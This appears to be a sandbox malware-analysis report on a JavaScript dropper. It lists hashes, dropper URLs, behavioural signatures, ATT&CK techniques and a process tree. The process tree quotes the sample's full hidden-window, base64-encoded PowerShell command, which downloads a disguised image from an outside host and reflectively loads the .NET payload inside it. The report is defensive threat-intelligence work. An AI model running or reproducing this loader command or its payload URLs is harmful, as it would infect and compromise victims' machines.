2f99f8a49a1ba784d41fdfc117243c2cf6c820a71171541fcaa1871f7c378040

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 12:50

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General

Target
jaffacakes118_2f99f8a49a1ba784d41fdfc117243c2cf6c820a71171541fcaa1871f7c378040.js
Size 4.0MB
Sample260910-p2xbfsxtgv
SHA256 2f99f8a49a1ba784d41fdfc117243c2cf6c820a71171541fcaa1871f7c378040
MD5 7b37f1750a4203c673c97928d7ca7bde
SHA1 40f11ec20faf1df7549a5e5f1dd76bf855bd0d22
SHA512 106d6db8910d1f8b9d1a379e12013cd1ac2b9cc6c547acbe25df6ea9e02ebf2601316f8a12b72d288a079c22d0fe083724d2a5ddd959925940ed70ca931578fd
SSDEEP 768:m0FEcvMQv7aCWpRcF8ra+zcKSUbyHyzg7WEurC6BSAf7341i6bm4rdksnU44444K:m0FEcvMQv7aCWpRcF8ra+zc8
TLSH
T1D8160324750320C898FC8EA3DE50C957F3DB57BB6C05089CB5351886FB3983D667AAA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png
exe.dropper
https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5252	4280	powershell.exe	89

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	5252	powershell.exe
9	5252	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5252	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5252	powershell.exe
5252	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5252	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_2f99f8a49a1ba784d41fdfc117243c2cf6c820a71171541fcaa1871f7c378040.js
1⤵
PID:2532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHNjdW5naWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHNjdW5naWVzdC5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCIpOyRzY3VuZ2llc3QuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskc2N1bmdpZXN0LkhlYWRlcnMuQWRkKCJBY2NlcHQtTGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjkiKTskY29udGVrID0gJ2h0dHBzOi8vaWE4MDE3MDkudXMuYXJjaGl2ZS5vcmcvOC9pdGVtcy9vcHRpbWl6ZWRfbXNpXzIwMjUxMjE2XzE3MjQvb3B0aW1pemVkX01TSS5wbmcnOyRjbGlvbmEgPSAkc2N1bmdpZXN0LkRvd25sb2FkRGF0YSgkY29udGVrKTskbGF4YWRhaXNpY2FsID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRjbGlvbmEpO2lmICgkbGF4YWRhaXNpY2FsIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKSB7ICAkdW5hbHRlcmFibGVuZXNzID0gJG1hdGNoZXNbMV07ICAkZ291YXJlZSA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHVuYWx0ZXJhYmxlbmVzcykpOyAgJGFyZ3NCYXNlNjQgPSAnSnoxUlNHVXdOVk5oZHpreVVYWkZSMlJzUW01amFFNUhUWGxWVTFreVZsZGtUemw1V2dvTmVUbHRUSG8xUjFweVRsZGthelY1V25rNWJVeDZOVWRhY2s1WFpHczFVMkY2VGtoamQwWXlZM2xXYldSd1NraGFlbVF6WW1zMVYyRXpRa2hoZDFJelkzWm9Na3gyYjBSak1GSklZU2NzSnljc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25UbUZ0WlY5R2FXeGxKeXduVFhOaWRXbHNaQ2NzSnljc0owMXpZblZwYkdRbkxDY25MQ2RvZEhSd2N6b3ZMMk5rYmk1a2FYTmpiM0prWVhCd0xtTnZiUzloZEhSaFkyaHRaVzUwY3k4eE1UZ3hNemM0T1RBeU1URTJNREUyTWpJeUx6RTBNemczTWpJMk5EUXlNak0xT1RBME16QXZjMmhwYlM1cWN6OWxlRDAyT1RFM1pXRTJNQ1pwY3owMk9URTJPVGhsTUNab2JUMWxNR1F5WW1GaFl6VXlZVGhoWmpWaU5tVmtPVFF3TlRKalpqVTBPRE0yWlRKbFlqRmpNV0l3T1dZM05qUTVOVGN6WldZMU1USTFZV1V3TUdVd1pUazJKaWNzSjBNNlhGVnpaWEp6WEZCMVlteHBZMXhFYjNkdWJHOWhaSE5jSnl3blRtRnRaVjlHYVd4bEp5d25hbk1uTENjeEp5d25KeXduVkdGemExOU9ZVzFsSnl3bk1DY3NKeWNzSnljc0p5Yz0nOyAgJGFyZ3NTdHJpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRhcmdzQmFzZTY0KSk7ICAkYXJncyA9ICRhcmdzU3RyaW5nIC1zcGxpdCAnLCcgfCBGb3JFYWNoLU9iamVjdCB7ICRfLlRyaW0oJycnIicgKSB9OyAgW0NsYXNzTGlicmFyeTEuQ2xhc3MxXS5HZXRNZXRob2QoIlZBSSIpLkludm9rZSgkbnVsbCwgJGFyZ3MpO30=')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5252

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/5252-0-0x00007FFFAF95F000-0x00007FFFAF960000-memory.dmp

Download

memory/5252-3-0x000001B9CFE10000-0x000001B9CFE32000-memory.dmp

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memory/5252-4-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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memory/5252-5-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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memory/5252-6-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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memory/5252-7-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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memory/5252-8-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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memory/5252-9-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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memory/5252-10-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

Download

memory/5252-11-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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memory/5252-13-0x00007FFFAF7D0000-0x00007FFFB0174000-memory.dmp

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